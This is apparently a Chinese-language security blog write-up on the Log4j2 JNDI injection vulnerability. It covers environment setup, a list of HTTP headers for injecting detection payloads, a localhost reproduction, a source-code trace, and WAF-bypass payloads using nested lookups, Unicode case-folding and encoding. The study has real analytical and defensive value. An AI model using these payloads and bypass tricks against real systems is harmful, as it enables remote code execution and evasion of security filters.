Log4j2远程代码执行
前言
Log4j感觉还是比较好利用的,在shagou大佬的面试中,给出一个log4j漏洞绕过payload,要求分析研判,虽说能一眼看出时log4j的利用,但是也是头一次见了。
环境配置
- JDK8u65
- Log4j 2.14.1
- CC3.2.1
在8u191后,Log4j还是可以利用的,但是要用高版本的绕过手段
依赖导入如下:
1 2 3 4 5 6 7 8 9 10 11
| <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency>
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
漏洞详情
漏洞成因
原因是Log4j提供了Lookups的能力(关于Lookups可以点这里去看官方文档的介绍),简单来说就是变量替换的能力。
在Log4j将要输出的日志拼接成字符串之后,它会去判断字符串中是否包含${
和}
,如果包含了,就会当作变量交给org.apache.logging.log4j.core.lookup.StrSubstitutor
这个类去处理,根据前缀调用不同的解析器,其中JNDI解析器就为本次漏洞源头。
探测payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| X-Client-IP: ${jndi:ldap: X-Remote-IP: ${jndi:ldap: X-Remote-Addr: ${jndi:ldap: X-Forwarded-For: ${jndi:ldap: X-Originating-IP: ${jndi:ldap: True-Client-IP: ${jndi:rmi: Originating-IP: ${jndi:rmi: X-Real-IP: ${jndi:rmi: Client-IP: ${jndi:rmi: X-Api-Version: ${jndi:rmi: Sec-Ch-Ua: ${jndi:dns: Sec-Ch-Ua-Platform: ${jndi:dns: Sec-Fetch-Site: ${jndi:dns: Sec-Fetch-Mode: ${jndi:dns: Sec-Fetch-User: ${jndi:dns: Sec-Fetch-Dest: ${jndi:dns:
|
影响版本
- 2.x <= log4j <= 2.15.0-rc1
漏洞复现与分析
漏洞复现
首先使用yakit工具(可以自己起RMI服务,我这里直接使用工具)生成一个jndi反连地址

执行以下代码,生成该类的logger类,调用logger的error方法,payload放入,即可实现JNDI
1 2 3 4 5 6 7 8 9
| public class log4jTest {
private static final Logger LOGGER = LogManager.getLogger(log4jTest.class);
public static void main(String[] args) { String s = "${jndi:ldap://127.0.0.1:8085/RQqSMKMk}"; LOGGER.error("{}",s); } }
|
成功弹出计算器

漏洞分析
我们看logger.error()
(这里error可以换成其他方法,例如info)方法,会调用到loggerConfig#processLogEvent
1 2 3 4 5 6 7
| private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) { event.setIncludeLocation(isIncludeLocation()); if (predicate.allow(this)) { callAppenders(event); } logParent(event, predicate); }
|
之后AbstractOutputStreamAppender#tryAppend
会encode对应事件,将${param}
中的param解析出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| private void tryAppend(final LogEvent event) { if (Constants.ENABLE_DIRECT_ENCODERS) { directEncodeEvent(event); } else { writeByteArrayToManager(event); } }
protected void directEncodeEvent(final LogEvent event) { getLayout().encode(event, manager); if (this.immediateFlush || event.isEndOfBatch()) { manager.flush(); } }
|
最后调用到StrSubstitutor#resolveVariable
,将对应参数解析出结果
1 2 3 4 5 6 7 8
| protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) { final StrLookup resolver = getVariableResolver(); if (resolver == null) { return null; } return resolver.lookup(event, variableName); }
|
该resolver
会根据前缀的不同,调用不同类的lookup方法

当jndi为前缀时,会调用Interpolator#lookup
,其中value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
这行代码会调用JndiLookup的lookup方法,从而造成JNDI注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public String lookup(final LogEvent event, String var) { if (var == null) { return null; }
final int prefixPos = var.indexOf(PREFIX_SEPARATOR); if (prefixPos >= 0) { final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US); final String name = var.substring(prefixPos + 1); final StrLookup lookup = strLookupMap.get(prefix); if (lookup instanceof ConfigurationAware) { ((ConfigurationAware) lookup).setConfiguration(configuration); } String value = null; if (lookup != null) { value = event == null ? lookup.lookup(name) : lookup.lookup(event, name); }
if (value != null) { return value; } var = var.substring(prefixPos + 1); } if (defaultLookup != null) { return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var); } return null; }
|
WAF绕过
在很多WAF的检测中,是基于关键字jndi:
等关键词的判断进行拦截的
解析特性
log4j在解析时会有以下特性,可以很好的帮我们绕过WAF

- 引用环境变量,例如
${env:PATH}
- 通过
upper
和lower
进行大小写变换
绕过方式
利用${}默认值绕过
例如以下这个payload,并不会检测到关键字jndi:
,首先会解析${::-J}
,这部分会被解析为J
,与后面拼接为${Jndi:ldap://127.0.0.1:1389/Calc}
,从而绕过WAF
1
| ${${::-J}ndi:ldap://127.0.0.1:1389/Calc}
|
通过lower和upper绕过
之前看源码可以知道,${}
中支持解析的头部有date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
,其中有lower
和upper
通过lower和upper绕过其实和利用默认值绕过是一样的
1 2 3
| logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}"); logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}"); ....
|
除此之外,可以使用特殊字符的大小写转化进行绕过(之前打CTF的中就有这种利用方式)
1 2 3 4
| ı => upper => i (Java 中测试可行) ſ => upper => S (Java 中测试可行) İ => upper => i (Java 中测试不可行) K => upper => k (Java 中测试不可行)
|
因此可以使用特殊字符,经过大小写变换后,绕过WAF
1 2
| logg.error("${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}"); ...
|
编码绕过
这个漏洞的触发点可能在任何部分,在有些传输的地方,后端可能会有一些`unicode`和`hex`解码的特性,因此可以通过编码绕过
1 2
| {"key":"\u0024\u007b"} {"key":"\x24\u007b"}
|